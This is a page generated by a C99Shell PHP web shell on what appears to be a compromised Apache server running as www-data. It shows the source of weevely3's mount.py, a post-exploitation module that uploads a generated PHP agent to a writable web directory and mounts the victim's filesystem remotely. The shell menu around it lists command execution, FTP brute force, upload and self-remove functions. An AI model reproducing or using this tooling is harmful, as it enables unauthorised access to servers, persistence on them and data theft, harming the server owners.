!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/pmb/weevely3/src/weevely/modules/file/   drwxr-xr-x
Free 13.18 GB of 57.97 GB (22.74%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     mount.py (2.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import atexit
import shutil
import subprocess
import tempfile

from mako import template

from weevely.core import messages
from weevely.core.loggers import log
from weevely.core.module import Module
from weevely.core.vectors import ModuleExec


class Mount(Module):
    """Mount remote filesystem using HTTPfs."""

    def init(self):
        self.register_info({"author": ["Emilio Pinna"], "license": "GPLv3"})

        self.register_arguments(
            [
                {
                    "name": "-rpath",
                    "help": "Remote web path where to save the agent. If it is a folder find the first writable folder in it",
                    "default": ".",
                },
                {"name": "-httpfs-binary", "default": "httpfs"},
                {
                    "name": "-no-autoremove",
                    "action": "store_true",
                    "default": False,
                    "help": "Do not autoremove on exit",
                },
            ]
        )

    def run(self, **kwargs):
        # Check binary
        binary_path = shutil.which(self.args["httpfs_binary"])

        if not binary_path:
            log.error(messages.module_file_mount.httpfs_s_not_found % self.args["httpfs_binary"])
            return

        # Generate PHP agent
        try:
            status = 0
            agent = subprocess.check_output([binary_path, "generate", "php"])
        except subprocess.CalledProcessError as e:
            status = e.returncode
            agent = ""

        if status or not agent:
            log.error(messages.module_file_mount.error_generating_agent)
            return

        # Save temporary PHP agent, and upload it
        temp_file = tempfile.NamedTemporaryFile(suffix=".php", prefix="", delete=False)
        temp_file.write(agent)
        # Without this flush() uploads only a
        # portion of the file
        temp_file.flush()

        result = ModuleExec("file_upload2web", [temp_file.name, self.args["rpath"]]).run()
        temp_file.close()

        if not result or not result[0] or len(result[0]) != 2 or not result[0][0] or not result[0][1]:
            log.error(messages.module_file_mount.failed_agent_upload)
            return

        self.args.update({"agent_abs_path": result[0][0], "agent_url": result[0][1]})

        log.warn(template.Template(messages.module_file_mount.agent_installed_tutorial).render(**self.args))

        if self.args["no_autoremove"]:
            log.warn(messages.module_file_mount.httpfs_agent_manually_remove_s % (result[0][0]))
        else:
            log.warn(messages.module_file_mount.httpfs_agent_removed)
            atexit.register(ModuleExec("file_rm", [result[0][0]]).run)

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--